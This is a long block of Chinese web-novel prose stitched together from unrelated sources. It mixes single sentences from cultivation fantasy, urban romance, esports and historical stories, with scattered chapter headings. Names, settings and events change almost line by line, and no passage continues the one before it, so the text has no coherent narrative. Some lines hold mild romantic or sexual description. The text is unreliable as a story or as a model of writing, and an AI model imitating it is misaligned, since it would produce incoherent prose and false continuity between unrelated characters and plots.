她生来身份尊贵,能耐只在哥哥一人之下,虽然当年哥哥把她皇族的身份剔除了,但并没有化去她与生俱来的能量真元。 “你们坐那边干嘛?不跟着我这个老大坐过来?”白宝国皮笑肉不笑的看着二哥他们。 她已经回来了。虽然只是刚刚从艾德佳的面包店辞职,回到了这个留托姆岛,但是,她的工作是在前台,是接待客人的工作,跟在厨房里忙碌的罗兰德,根本就没有见面的机会。 洛辰熙冷冷的盯着她,眼里布满了危险的气息,犹如一匹狼盯着自己的猎物。 焱猛然一发力,却发现对手一动不动,这让他有些难堪,向后撤出一步,右肘一转挣脱了出来。 唐启铭和因为没有看到叶知南和南欢之间的互动然后也是不知道的,一张脸上满满的都是疑惑。最后就看了看叶知南又看了看王丽。 周围的人没有反驳也没有肯定,他们对于兰似虞的了解全部来自于网络和传闻,至于兰似虞真正的是个什么人。 那位学长眯了眯眼,笑着点了点头,两人一切尽在不言中,而后他轻微整理了下衣服,朝易天缓缓而去。 然后其他人能感觉的话也都还好,就是在南环这边可能是有了更好的对比,所以以前的那些就感觉不是特别的好了,而且让人感觉也不是那么的棒了。 穆苍以前并未觉得这地有多好看,但现在,此时此刻,这便是全世界最好看的风景。 虽然现在村里还没有大规模种植茶叶,但也零星有一些,平时采摘之后都是拿到茶青市场上去卖,要被二道贩子赚一道。 如果是第一次见到外城此番情景的人,一定不会认为有什么怪物攻城战,只为以为是人与人的战争。 “没事,早点拍完早点结束就可以了,而且也不是很累的。”南欢叫不自觉的露出了一个甜蜜的笑容。 ‘这家伙倒也是一个有情有义之人。’方鸣与李安两人对视一眼,彼此笑了笑,都欣赏徐天霸的义气。 脸上红肿未消,导致原本娇俏容颜走形,及腰顺滑青丝随着主人的疯闹而来回摇曳,淡黄轻纱翩翩舞动,那么雀跃,眸光清澈如水,忘乎所以。 张睿渊和张语婷皆是目光一亮,张睿渊是觉得张老太太这是松动了,而张语婷则是没有那么我顾虑,她是巴不得她们能和张睿渊合作。这样一来,她就可以借助张睿渊的力量,给张相思重重的一击。 猫爪海贼团的船员们纷纷欣喜的聚拢,即使斯慕吉看在威尔的面子上,差遣果树镇的手下送好酒好菜的款待他们,但少了主心骨威尔坐镇,他们吃不香、睡不稳。 更有一罐子石灰,嫌恶地退后几步,本是想趁着主子歇息时帮忙鼓捣鼓捣,可惜研究了半响,也无从下手。 “老板,今天生意特别好,我们都要忙死了。”刘祥乐呵呵的说道。 钟希望给他们讲的故事正是她上辈子后来看过的一部电视剧,他们听得上瘾了,而且明明就知道结尾了,还是缠着让她说明白。 当晚营业结束,销售额再次突破万元大关,大家收拾摊位,吃完宵夜,各自散去。 天眼的事,卜旭还是没提,能瞒多久算多久吧,以后如果真的败露了,就说刚练出来不久。 听说温暖要亲手做排骨,宁宁兴奋的在超市里拉着温暖来回跑了好几圈。 第106章 鲥鱼! 徐知意一懵,旋即反应过来,解释道:“是一个比较无赖的病患。”讨厌都来不及。 而且这种方式,效果也不会比拥有火灵根的炼丹师差,可惜了,这种地方都是可遇而不可求的,一般都是被大宗门给霸占,已经有主了。 “艹,会不会开车,停着也能追尾?”等她反应过来,林柏森已骂骂咧咧下了车,一副看老子弄不死你的架势。 说完便端起早餐,将碗底温热的粥搅和上来后,亲自喂到他面前。 季家却一直以白大佬坐不了飞机为由,断绝了其他方法,足见内里复杂,不是简单更换交通工具就能解决的事情。 就是南宫玉让冥血青木龙有朝一日到了神土,拿着这把桃木剑,去大罗域找她。 大概行了十分钟的样子,易辰估测2000米的距离,就看到一个光点在眼前闪烁,易辰暗说,难道这里是另一个出口?否则怎么会有光出现? 阎月清将宝贝的帝王绿、衍宝的红翡、以及君戾的墨翡全部装好,计划回国后再交给匠人做首饰。 可是他就连这点奢望都满足不了了,赵磊操纵血盾直接朝着那黑虎冲击而去,之前他还只能勉强抵挡,现在却不一样了,这血盾就是最好的杀伤敌人的武器。 侯君集都绝望了,“我的亲娘!本国公还没活够!”他把眼一闭,就等死了。 红尘客栈的包间里,南宫白表情严肃的看着雷骁五人拿回来的战利品良久,众人大气不敢出,团长他老人家该不是气坏了要发飙吧? 说着话,他又深深弯腰,向“驳兽”机甲,以及机甲脚下不远处的杜锋深深鞠了个躬。唐云认出来了,不,严格来说,他是猜出来了。这位就是新任的北域松岩大学校长,潘鹤成。 事实上这艘漆黑的宇宙舰里也没什么太多的值钱物资,无非是些食品、药品补给和极少量的制式武器弹药。 过了片刻,苍龙剑不在抖动,化作一缕黑光窜进了储存戒指里消失不见。 唐云相信自己看人的眼睛,所以在他离开的时候,他告诉对方,自己叫百里飞,就是那个狠狠“顶”了宋老师的专科生。 我微微一笑,不动声色,却是已经封住了她的道路。她此刻要么朝九层关卡那边闯去,要么从我这里突围,别无选择。 此时,宅邸的客厅之中灯火通明,人影晃动,不时有断断续续的说话声从里面传出来,里面的人似乎正在商讨着什么事情。 却说袁绍回到营帐之内刚刚睡下,忽然再次听到一阵战鼓与喊杀之声,他急忙翻身起床,再次让诸将召集兵马。 顾大海和刘川恨不得当时就地遁而去。尼玛,太丢人了,简直把千润网络的脸都丢光了,这让新来的兄弟怎么看我们? 不只是贾正金,其他联军强者也都露出绝望之色,好不容易打出来的气势瞬间消失,反而被冥界强者压制。 这里就是鬼医门的总堂,其核心弟子才能入内,而那鬼医老祖常年在此修身养性。 出了刘氏的大门,果然有一台救护车等在那里,叶离懒得理,低一低头,衣领遮住了脖子上的伤口,三步两步绕过去,招手拦了一辆车。 “如果我说真是呢?”红莲也不绕弯子,大家都是明白人,绕老绕去只会浪费时间。 李潇裳虽晓的利害,但也是有仇必报之人,眼里不揉沙子。这年月能力有多大,脾气就有多大。 潘金莲用力的喝了一口,那劣酒如火般烫热,到了胸腹间,便像燃起了一团火,虽然十分呛喉,倒是令她镇定不少。 月亮坐在最中间,得意的看了陈最一眼,呜哩哇啦说了一串外国话。 只要彭矫在没有窗户,或者拉上窗帘的房间内,卫星无法拍到他的影像。 观众们又是一阵议论,到了十强还有人主动退出,让人始料未及。不过赵拔本身受关注度不是很高,所以反应也并不强烈,更多的人给予了她鄙夷。 退一步想,就算她对他没想法,他把事情挑明了,她应该会试着接受他吧。 难怪他一世英名能被月玲珑给骗了去,难怪他处处照顾着月玲珑,难怪月玲珑在曲宁皓身边这么久,却对曲宁皓没有半点爱意。 厉耀南在一旁全程都没说话,只有凌薇在和人家聊,时不时还会问一些问题。 陆安国垂暮之年,常常回想往事,现在他后悔不已仍旧不能原谅自己,当初为什么同意自己的儿子娶那个祸水进门。 倾云一脸的为难:“可是简珩不让我再见白景铄……”她低着头,上次的那一出闹剧,搞得她现在都没脸在进宫。 厉耀辰也被卷了进去,都不用司千爱和艾亚迪出手,他们三就已经先打起来了。 听了李风的话,湘竹咬了咬银牙,经过思想斗争,还是脱掉了衣服躺在了床上。 要知道,身为人漩境强者,即便是在一些大势力之中也可以称得上是中流砥柱了,即便是自己建立势力,都必定可以吸引许多人的投靠,区区顺德城有什么魅力,竟然能够让他们趋之若鹜。 第107章 这叫投资!懂不懂? 他为官多年,一级一级调令,从低做到高,也不知见识过多少穷山恶水出歹徒的事情。 有福轻轻回应着少年的吻,手抚过少年的额头,脸颊,脖颈,挑开衣衫抚上少年的胸膛。 “盛三少?怎么是你?”葛梦荷说着,一脸诧异,眼睛还一直往里面看。 仁心堂的人下意识想甩飞刀,可惜,赵羽那边先动手,等他们准备反击的时候,赵羽那边丢的飞刀已经过来了。 师长们则一个个冷汗直冒:她该不会是记恨他们之前嫌弃她,不肯因类施教,将她拒之门外的事吧? 他们嫉恶如仇,对着这些罪犯就一顿狠掷,一边还骂骂咧咧,行之辱骂愤怒言辞。 战老爷子本来就生气,再被江疏童这么一拱火,当下气的血压上升。 从缝里能够看到,白莞尔被强行绑在手术台上,然后注射麻醉机。 这位虽然是底下镇上来的,但好像对孩子上学挺上心的,听说最近还请了家教。 他发现张雪一直在用眼角余光盯着他,像是有种欲言又止的意思。 此时,除了时一剑和霍去病两人,其他人都萎靡不振,一个个虚弱无比。 三个打一个,不仅没有得分还送给了刘汉两次封盖,而且第二次封盖是一次不折不扣的抓冒。 为了迎合华夏游戏玩家的口味,这些大公司还请来不少COSPLAY组合在自己的展台前摆造型吸引用户。 然后,巫族勇士们悍不畏死的向妖魔二族发起了冲锋,但还不曾和妖魔二族交手,就见萧阳冷漠的一挥手,然后就见无数星斗向那冲锋的巫族狂轰而来。 陈怒这时候有些见怪不怪了,皇家马德里这一段时间简直就是过人表演秀,像球迷演示各种各样的过人方法方式,让人有些欲哭无泪的感觉。 “云岚仙帝,你没有什么事情吧。”看着狼狈的云岚仙帝,欧皓云连忙的询问道。此时云岚仙帝非常的糟糕。身上的一副破破烂烂的,看上去就像是一个乞丐,而且露出了无限的风光。 “我们都不是弱者,抱团什么的,我看还是算了吧!各走各的路,这样才适合我们,否则聚在一起久了,可是会有矛盾的,只要我们记住我们都是来自一个地方的,以后遇到了相互照应一番,就行了!”有人说道。 若非52区专员及时打开作战服的防御力场,否则他们的待遇不会比满地的枯草好多少。 即将破晓,船上之人蠢蠢欲动。毕竟多一分一秒,那就多一分机会。从低到高,百阶天梯,便到了所谓的祭祀台,再往上,那就是蓊郁的山林了,不再有石阶。 加工结束,刀具复位,工作舱板打开,机械臂伸出,向众人展示出一架栩栩如生的银色战机。 苍凉的号角声中,一队队被倒尽胃口的突厥将士开始冒着屎尿砸头的风险,迅速列队,集合,然后带着满腔愤恨,嚎叫的冲出大营。 战网逐渐推行开来以后,全英游戏又推出了三款符合欧美口味的网络游戏。 罪名降临在了敌人的肩膀上,无形的罪孽压弯了他们的腰,让这些暴虐的战士们瘫倒在了地上,再也爬不起来。 林安安的脑子结构绝对和普通人不一样,这理由一般人都编不出来。徐虾差点儿晕倒,心想你编什么理由不行,非编这种理由。 大招失利的宫本和咸鱼又有什么区别呢?顾叶落下一技能,收下宫本大叔的人头。 徐虾并不急迫,以舌尖一点点触碰,几次之后,再慢慢撩动,然后摩擦、画圈、渐进,最终进入相互吞吐吮吸的深吻。甘美的感觉,也由舌尖一点,随接吻深入,散入舌面、口腔、整个身心。 “我擦!”江辰本来专心开车的,突然间被一辆车逼停,仔细一看居然是上官云珠。 江辰仔细看去,这个地方也很隐蔽,远离大城市,好像另外一个世界!虽然一些地名并不熟悉,江辰也去没去过,但应该可以找到。 为好奇,电子机械工业部就向中华制造提出希望去公司调研,双方协调后,派了个调研团入驻。调研的结果,发现这些工人每年都要进入中华制造自办技校,接受时间不等的定期培训。 “呼呼呼呼……”被屠城刀砍破的伤口,竟然冒着黑气,十七的脑袋确实够强悍的,换做其他人早就被一分为二,而无比强悍的屠城刀,却只能给他造成一道伤疤,无法伤害到他的性命。 “看到了吧,这就是经过最纯净的水洗涤之后的灵魂。”苏青青看着我呆愣的样子笑着说道。 王刚听了这话骂了声娘就挂了电话。我知道他一定是张罗人手去了,也就没有怪他都不说个再见。 “这波团可以”操控着白起,田野还未说完就直接开启大招并且使用二技能死神之镰,顿时一股猩红色的力量笼罩在对方几人身上,而在敌人身后突然出现一个尖锐的爪牙。 确实一路走来,人族的修士变得多了的,但是那种烧焦的尸体却再也没有见过,叶道:“走吧,既然来了,肯定得进去闯一闯才行。”三人跳下树去,叶率先沿着并泉河往里面走去。 第108章 涛子,恭喜恭喜啊! 见到这一幕,龙星的脸色顿时变得难看无比。他原本是想直接灭掉这队骑士的,结果却只杀了一个,其余的只是受了点伤,效果比预想的差了太多。在他的印象中,似乎只有一种叫构装骑士的超级兵具有这种程度的防御力。 心脏是人类最重要的器官之一,如果心脏受到了伤害,那就有可能造成无法挽回的损失。就算被神术治好了,也会对今后的修炼造成影响。幸运的是,李察身上有一块坚硬的水晶板,刚好挡住了射向他心口的那道神罚之光。 侦查灯到位,己方的四人猫在了野区等待刘璋的到来。还有十几秒就要出兵线了,己方的袁绍和马岱都有点不耐了,这个时候敌方的刘璋终于慢悠悠的来到了河道。 如今看来,灵器,怕是不光对实力有所要求,就连手艺方面、辅助职业方面,怕是都有一些特殊要求吧? 杨帆没有说谎,他只知道这妖兽是白猿,也知道这白猿的普通形态和愤怒形态的区别,但除此之外,就算明知道肯定还有更多的信息但他却不知道了。 两只生化幽灵的身体在地面上翻滚着,直到滚动了很远的距离后,才缓缓停了下来。 在那之后,诺兰德和达克索达斯的战争对位面本源造成了巨大的破坏,以至于整个位面都失去了生机,所以这个位面才被称为黄昏之地。 陆天雨等人瞧着脚下,除了坚硬的土地,并无发现异常,又都盯着大叔。 现在是夜晚,虽然众人都是修士,但对方也是修士,有心想在夜色之中隐藏自己的面容也不是什么难事。 看着她盯着自己,先是乍惊乍喜,张口想叫他,最后却突然闭上了嘴巴,然后开始瞪住他的眼睛。 他不屑用这种手段,也没想过要对薇薇安下手。目前的他最大的愿望就是从薇薇安的嘴里套出自己曾经的经历,然后再从落落这个大魔王的手底下逃生。 这话一出,摆明了田倩已经凝结出气旋,顿时让班上其他人羡慕不已。 艾格里一下攥紧拳头,这是一幅彩色的油画,那双蕴含着嘲讽意味的棕色眼眸异常突出。 烈羽都不知道初来乍到的茉莉到底是找谁办的手续,最后一块可以逃避的地方也没有了。 因为泄露了天机的缘由,所以金发俊朗少年安德鲁此刻正战战兢兢地看着一脸凝重的西尔维娅。 慕定安放置这一柄剑在枕边,不过是防个万一,其实他们还是比较安全。 大家都被她的绝世容颜,惊到张大了嘴巴,一时间都不知道要说些什么骚话才好。 秦景晟看了一下时间,发现此时距离电影播出,还有着一些时间。 看得出来,张雪雅已经是下定了决心要辞职了。秦景晟也就懒得再多费口舌了。 落落似乎对于某人刚刚任由自己摔得七荤八素却没有及时接住自己的行径耿耿于怀,她有心想要不去理会眼前这个家伙,但是现在的她浑身一点力气都没有,于是乎只好再给宁渊一个机会。 “多听听酒醉仙的,能帮的忙可以帮,但别傻乎乎的帮,我要出外散散心,将一件欠下许多年的债还了”。未等他们答复,景曜已转身,大步踏向了福伯等人,“跟我走”。 “为了她,你连命都不要?可不要忘了,嫣然才是你的妻!”想起被亲生儿子以性命算计,太夫人怨愤之中更添心寒。 瓷器不同与玻璃,刘坤已经将玻璃定为奢饰品,从不低价贱卖,所以销量有限,然而瓷器却不同,谁家吃饭没有碗呢。 貂蝉附和道:“是极是极,魅娘妹妹想必知道,姐姐没有娘家人,名下的财产仅有陛下送与我的大汉织布厂。姐姐也没有别的礼物可送,手里只有各种各样的布料。 所以丹寻子叮嘱天生,最好是等到能够进入到九霄塔第三层的时候,也就是天生的修为达到神天期的时候,再去冥天界,现在不妨在第一层修炼,好好感受一下冥天界的环境。 几百人住在一起,洞内又没有别的通风之处,洞内腥臊的气味一股一股扑鼻而来。 直至我消失在他们的视线,留下神一般的身影,他们才反应过来。 阴无忽的一把抱住她,紧紧的相拥,近乎相同的遭遇,同病相怜,只能彼此之间寻求一丝温暖的慰藉。 如果只是为了食物,任何人都不会疯狂到连命都不要的地步,所以只要让他们见识到自己等人的厉害,那么说不定他们就会知难而退。 “好吧,既然你已经决定,我就不再阻拦,说不定你这一闹能挖出柳生家族不少秘密,比如释放出雪妖。”赵风见说道。 翠儿听见了这话,立马接过了颜婆婆手上的衣服,帮梦瑶更换……。 此刻比武大会已经进入到了白热化中,最终胜利的仅有三位,没有出现往年的平手局面。 他们救了人,准备去村子四周转转,看看还有没有什么蛛丝马迹。 做成衣铺子,虽然再次之前没有人去做,但是她开了个头,后面必然有人跟风去做。 而乌孙祭司的名如果用大翌通用的中原一带的东洲话译过来,便名柘合桑。 然而南宫婉儿可是不知道南宫冷策的意思,随后便是继续对萧寒问道。 但是萧寒心里却没有胆怯,毕竟萧寒一直本着人不犯我我不犯人的原则做事。 高岗打一场拳只能拿两万,这个矮骡子押注五万,就轻轻松松的赢了四十万。 再加上在泡菜国,苏晓晓到底不熟悉,成华公司这边也会另派泡菜国本地人给她做助理。 孙闸一听还有希望,哪管你什么的手术失败的风险,反正做就完事了。 挥手之间,将自身四面飞舞的六阳神火鉴与五行飞剑召回,张烈扫视一眼远处并未被波及到的道鼎。 第109章 收不收人情啊? 之前在庄子中杀戮,然后在绵山老祖救援的人到来之时,适时地退走,还没离庄子太远的壬、癸二部还活着的成员见到求救信号,自然是重新赶了回来。 等云潇潇走近之后。岳隆天才发现云潇潇的额头和脖子上已经满是汗水了。身上的唐装也有些微湿了。 杨国安和汪晓玲匆匆吃了午饭,就到了楚天雄家。前天验完现场提取证据后,只把尸体抬走了,屋内其它东西基本没动。两人把房门关上,从大门开始一点一点往室内查。 “现在以我的境界,在外太空倒是不比渡劫期的修炼者停留的短。”林天一面飞行,一面的计算着。 何中取出药丸捏碎了,洒在夏天的手脚之上,顿时夏天感觉到毫无知觉的手脚隐隐的传来了冰凉的感觉,那灵药不仅能够治疗伤势,甚至还能够恢复灵气。 龙安琪却朝岳隆天一声冷笑道,“你觉得我现在还是带着面具的么?”说着用手扯了一下自己的面皮,表示自己没有带面具。 现在说什么都已经晚了,岳隆天听吕胜男这么说,也只好默不作声地微叹一声。 两名警察不顾身上中弹,一边射击,一边拼命向房门冲去,拟将房门打开。 “开!”意识海里面的其中一道光点顿时散开,一下子就要把林天的意识撑破。可谓极其霸道。 其实,人只有在被逼无奈的情况下,才会做出超乎寻常的事情,尽管这些事情到后来,根本就不值得一提。 当秦龙知道这一点时,只是淡淡笑了笑,国安的这种行为甚至还不如亡羊补牢,只是避免不良影响扩散而已。 在当前形势下,除了繁衍源源不断的傀儡兽,统治水域内的异化生物,对外围的区域展开蚕食,其它方法,对于傀儡兽一族真的效果不大。 此时,三只魔鹤缓缓地来到那棵枯树面前,枯树上绑着刘敏之和章倩倩,她们已经昏死过去,呼吸微弱。 她,还是开口了。苏北狠狠的在心里咒骂自己。明明告诉自己不要在想了,可却始终忘记不了跟景莫黎在一起的点点滴滴。点头,除了点头苏北不知道自己还能做些什么。 “可能是被关晓婉留下当苦力了吧。”杨阳抹了抹鼻子,照实说了一句。是的,杨阳说的确实是实话,只是没说全而已。 她幻想过,他会在她许愿之后,转身的一瞬间,突然出现在她那含着泪珠的眼眸之中。 “当然有区别啦,区别就是它们一个代表了生存,而另一个代表了死亡。”西王母立即回应道。 “慎言哥,你说,等会儿我们应该在锁上写些什么呢?”林明月晃了晃韩慎言的胳膊,将他从突如其来的回忆中拉了出来。 这要归功于现代的电视机,以及跟过一些地方都会看到民警和带着枪的警察。然后询问王伶韵的结果。 “还可以这么操作?”虽然都没有使用简单的语言交流,但意思就是那个意思。 等到秦欢欢由许长歌带着往森林外走了约莫有十几分钟之后,她的手机就有了信号。 就如同她在同韩慎言分开之后,她第一时间就搬回这里,其实都是一样的。 在王伶韵在这边看过房子知道,这个阴地成形的时间也就二十多年的时间。估计是这个阴地刚成,就被选来盖房子。王伶韵知道在盖房子时肯定死了人。 方若华低下头,闭上眼,紧紧闭嘴,任凭滚热的枪管在自己的头上,脸上敲来敲去。 因为某些网红主播最喜欢做的事情就是蹭热度,所以粉丝留言之后立刻被人骂了,说妖妖蹭热度。 寒冰朵拉认识扎坦娜,两个家族还有点沾亲带故,她们正在聊着血脉对魔力的影响。 好比御兽宗正是魔兽大陆的一个大宗门,但它对门下弟子的要求甚严。 他是魂殿当中顶尖的高手,以前从未出现,但是几场战斗之后,迅速的崛起。 像这里,充满艺术气息的装修风格,随便一件装饰品都看起来极其昂贵,客人们身穿西装长裙,优雅地拿着刀叉,对着三盏烛火,吃着精致的食物,是他从未敢想的生活。 一大早出门直接去尚食局,他的工作很多,要教主厨的东西有很多,配菜的当务之急决定将时间全都留在厨房。 但在村民口中,林芙蓉好像是一个一心想要飞上枝头当凤凰的人。 等到拉娜抬起头的时候,眼前就只剩下了几个水果与柔和的月光,她先是愣了一会,然后蹲到了地上,水果很甜,眼泪很咸。 见到这一幕,其他的那些赵家核心子弟,也是哆嗦了一下,紧闭着嘴巴,不敢发出丝毫的声音。 “我怎么之前没看见呢?”闵西里几乎都没有察觉过他们的存在。 哪怕是亲的兄弟姐妹,他和裴云音的相处估计也没少寒心,闵西里突然想到了冯静的孩子,但是因为实在没什么感情,也谈不上寒心。 “行了行了,你不用再说了。”路娜拍了拍手,一副“我已经看穿你了,不用解释”的样子。 “海木队长,我们这么长下去恐怕也不是办法,第七区域这么大,要是他们几个存心想藏起来想找到根本就比大海捞针还难。”副队长倒不是泄气,只是如实向海木阐述问题而已。 “……你、你可知你这夺命美人鞭……乃是用赤练蛇与白蝮蛇的蛇皮加金蚕丝所制,这三百鞭打下去,你、你觉得你还会有命在吗?”一旁的黑冷光用一副恨铁不成的语气冲她说出了这句话。 第110章 长江三鲜之首! “那开我的卡车去!” 小王终于有了用武之地。 “对对对,卡车上有水箱,正好装鱼!” 刘主任一拍大腿,连忙指挥道,“小王,直接把车开到江边去,这鲥鱼离了水可不行!” “那还等什么?赶紧的。” 心里则是在想,张怡脱单,等于是乔建烨脱单,那以后就不会再惦记着霓裳了。 大家继续吃喝,起初那些服务员们还有点放不开,后来看麦嘉伦平易近人,并没有什么大明星脾气,也壮着胆子和他说话。 “没事,我刚才就好像是睡了一觉,睡醒了就看见你了。”林允儿轻轻的道。 龙牧闻言,身形微顿,不过却并没有说话,继续向台阶之上行去。 想要得到十枚玄晶,你得出十趟任务,假设一趟任务最少一个月,再算上来接不到任务消耗的时间。 楚寒捂着胸口,一瘸一拐的向着楚鹏走过去,身体虚弱的几乎一点灵力都没有了,手上的龙晶玉不断将雷霆灵力倾注进去,补充着身体上过度的消耗。 “银河之心”一直都是冥祁非常重视的东西,这一件软甲上布满了密密麻麻的伤痕,很明显,它已经救了冥祁不知道多少次了,能把这种保命的东西拿出来送给林烨,由此可见他的这一份心,这确实是一件沉甸甸的礼物。 “夏暖暖。”夏暖暖不卑不亢的回答,她自然也看得清楚这个所谓明星眼里的不怀好意,只是这里是季子炎的酒会,说起来她还是算是半个主人,如果闹起来的话,丢人的只会是季子炎。 商安看着那张炎爆符扔出,以为只是普通的炎爆符,心里并没有当回事,只是随意地伸手要拂开去。 颜兮兮摸了摸脖子,果然满手都是血,暗乌一片,她心头了一阵恐慌。 就因汉献帝如今还披着天子的名头,这一个理由,就已经足够了。 “你,你先把刀放下。”夏时光低眸看着脖子下方明晃晃的手术刀。咽了口唾沫。 可是她还不放心,她无疑是一个非常谨慎、非常爱惜自己生命的人。 夏封点着头,脸上带着认真与好奇之色的说道:“不错,在以往通往其他地方的时候,必须走超脱路才行。 这股魅力,让自己对他越来越好奇,也越来越有种难以形容的感觉了。 不死尊王才刚刚止住身体,便看到夏封一剑划破虚空黑洞朝着自己袭杀而来,顿时大怒吼道。 当然,等夏时光再长大一点之后,就不会再做这么幼稚的事情了。她如果喜欢吃虾仁儿,会多点一份,也不会再把筷子伸到顾琛的碗里。 虽然没有感觉到什么坏心思,可是陈浩来葬神秘境,也不是为了什么好东西,而是担心龙大师,这被故意误导,耽搁了这么多时间,也不知道老龙是不是遇到了什么麻烦,心中自然不爽。 虽说顾琛的确想让夏时光尝一尝那种滋味,但他意识到夏时光这句话里或许带有责备的意味,心里就觉得很不舒服。 刘琦也没有继续考虑着别的事情,毕竟现在的喜报对他们有利,而且还能借此稳定着刚才因为主旗断去,军心有点动荡的情况,或许还能更加的坚固着军心。 黑刀顾风和王辰对视一眼,心中微微惊讶,什么时候,南方竟有这么多高手了?贺寰宇,江南公子,司空揽月,洛捭横,今天又出现了一个傅白景。 第111章 船员证 “不知……”独孤鸿的话刚出口,就被杨姬和杨悦的声音给打断了。然后,他就是直愣愣的站在那儿看着眼前发生的一切。 秦冷点了点头,一想到唐桐她就心烦意乱起来,他不知道到底该怎么处理唐桐,这才询问安雨桐,希望安雨桐能给自己一些建议。 接着,一股恐怖的力量随之传递而出,将他们身上的真气通通震散开来,直接轰击到他们身上。 待到最后一招落下,他收敛了气息,将雪岚剑收入体内,且温和笑着迎向了黄承薪。 “不要耍嘴皮子。如果你的回答不能够让我满意的话,我不介意让你横着走出去。”之江红身边的赤火雄一冷声说道。 同时,天空之上也是如此。他的神识只能覆盖自己周围数十米的范围。再远一点,他就没有办法查探了。 “我不在县衙做事了,你也不必担心,我会在我家姐丈手下给你寻个事做!”乐天说道。 “本来请妹妹过来是叙旧言欢,哪想到发生这么一档事,却是我们纳兰家疏忽,还望恕罪。不过这事情可绝对不是我们纳兰家做的。”王夫人忙解释道,并向南宫玉环下拜,赔了一礼。 林菲的死虽然说不是穆逸辰直接出手的,可是和穆逸辰也有着千丝万缕的的关联。 “我们如果这样赶路的话,得花费多长时间呐!等到我们赶回去,那黄花菜都凉了。”夏流很是有些担心的说道。 林樱一下子爆发出来了自己的身体里面的力量,那半圣的力量摧枯拉朽一般都摧毁了这座监狱,把这一座监狱变成了一堆火焰,火光当中,林樱踏着风雪走在那无人的道路上。 “没有,公子救了奴家的孩子,怎么说公子唐突呢!”佩娘忙解释道。 叶果果这才低下了头,看着地面上绿绿的草坪,夏天的尾巴,唱着离别的歌声。但我会等你,等你回来。 “安生!休想要胡作非为!”突然天空当中出现了几个强者,他们的境界赫然是真神。 虚空中,魏屠夫眼瞳如电,声音带着寒意,浑身缭绕着一缕缕漆黑魔气,犹如一尊魔神气势无比慑人。 当蓝月奴再次醒来,此公主已非彼公主,而变成了她蓝灵灵,一个来自未来世界的灵魂。 不得不承认,那魏屠夫强大得令人心颤,远不是三年前刚晋升地品筑基后期大圆满境界的孟剑鸣能比的。 毕竟都是自己一起生活的同班,怎么样也要给他们立一个碑才可以。 当地政府实在没辙了,只能向上级政府求助,于是国家特别调查组派出了当时还是普通组员的赵组长和光叔过来协助。 确实是难得回家一次,更难得陪他们散散步,自己的事情一会再说吧,而且老妈在这里,也不适合说。 有两万的骷髅兵,骷髅兵大军就好像人类的重甲兵,每走一步,地面都在颤抖。 如果这个时候,再杀出一支伊马塔斯人的部队的话,士气就直接血崩了。 来到主塔顶楼,老者退了去,林越便见一副居高临下的壮丽风景。 看到三人的目光都集中在自己身上,李晨风眨了眨眼,一时有些不明所以。 也不知道过多久,突然阳光出现,自己被一双大手捧起,重见天日。被人从矿区取出,几次陶洗,除去身体里的杂质,然后放在阴凉处沉淀,再制成砖状的泥块。 海夫纳送吴昊离开后马上就召集医护人员给自己做了一个全面的检查,从内到外的检测结果都表明,他的身体状态和昨天早上做的检查相比有了巨大的提升。 远程攻击的兵种一个都没有,全部都是近战兵,只能用石头来做一下防御。 “在家,燕京的家,你什么时候回来?”电话那头传来欧阳颖儿的温柔的声音。 这恰是口偈之妙,不属肉身不属精神,只受声控,谁也休想将它从支狩真身上夺走。 方浩可不去管这两人,眼见大部分人都已经到了,霸气的一摆手,带着无敌门的修者离去了。 希尔娜在这一刻终于再也止不住自己的泪水,两只手狠狠地捂住了自己的脸颊,却是和许多隔了一米有余,在他面前无声的抽噎着。 然而吊诡的是,这根本就没有用,他的神智正变得愈来愈模糊,隐隐约约听到了流风岚一声怒喝,软倒在地酣然睡去。 另外那些姨们都撇嘴,对于张红,她们早就看不惯了,私底下也说过,只不过她们是长辈,又没有孙成家日子过的好,不好多说什么。 她本以为涅槃九重天的沈凡不是唐少宝那个半步玄主的对手,结果在暴雷丹、天地符阵和最后那张符宝的轰杀之下,几息时间不到,唐少宝灰灰烟灭。 第112章 这大腿,可得抱紧了! 傀心月白如砌粉的脸,蔓上红晕来,使得血管更加醒目,也更加诡异骇人了。 “我不需要!”李若蕊微微瞥了龙少峰一眼,然后淡淡了一句,便毫不犹豫的走开了。看到这一幕。龙少峰顿时一头黑线。不过他也没有强求,因为李若蕊现在的性格,让他知道,就算强求也没什么用。 她回头看向君无咎,君无咎紧紧抿着唇,看向箱子,朝着宋奚用力点头。 准备工作持续了一个时辰,当一切结束时,萧羽的脸上浮现郑重之色。 穆璃挑了挑眉,没接这个茬,拍了拍她的腰下侧,叶灵犀顿时从他身上跳了起来,捂住了自己的屁股,狠狠瞪着他。 张生也是有些犯难了,一天的时间已经过半,张生还是没有想到如何才能够与空中的灵力进行交流,更别说据为己用了。 这一刻,前所未有的危机感浮上她的心头,让她更进一步认识到这个世界的危险。 命力有两种,一种是命运之力,一种则是生命之力,萧羽掌握的乃生命之力,所以当命阵开启的瞬间浓郁的生命气息充斥屋中,这里仿佛化为生命的海洋。 那些东西,也是薇薇的愿望,是薇薇要求的。”杨雨薇用哽咽的声音对徐子裴道。 所以回到屋子,杨雨薇换了衣服,如果有时间的话,杨雨薇会马上洗一个澡,她有的时候,就是那么奇怪。 安逸继续开着车,他当然知道自己其实就是这些普通人眼里所谓的变异人。 “我要怎么样,才能找到和我体质相匹配的家伙?”鬼灯满月又问道。 “够了!”我终于忍不住挂了电话,气得坐在原地呼呼直喘。多亏我没指望沈风吟,这绝对是个能在我死了半年之后才想起来把情报烧给我的主儿。 除了他对仙凡境域满怀的戾恨,又有谁能够释放出这样不衰的戾气呢? 在她的脸上,早已没有了那幅属于神族的高傲,留下的只有虔诚,几近于信仰的虔诚。 要是人能改命,我第一个不相信。命中注定的东西,哪怕是神仙都无法逆转。区区人力,能做到逆天改命吗? 街道上人来人往,人口数量十分的多,远远超过他去过的铁之国和雪之国。 一路洒落的血珠蔓过了发咒落在日记上之后,那张薄薄的纸页却忽然泛起了一阵红色的血雾。 歼灭雾隐,而实力受损的木叶若和云隐开战,岩隐村和砂隐村肯定也不会放过这个进攻木叶的良机。 在史和尚中毒之后,我们谁都没再中蛊毒,我就该想到史和尚身上的毒不是来自于姜岩。 因为寒冷都被他牢牢地挡在外面,留给她的只有暖入心扉的温热。 虽然跟宋家定下娃娃亲的不是莫峥嵘,而是当年还健在的他老子,但是对于宋家的一切,莫峥嵘还是可以称得上了解一二的,毕竟这么多年也不曾断了來往,但是,这也‘了解’二字,也仅仅是限于高于普通人的状态。 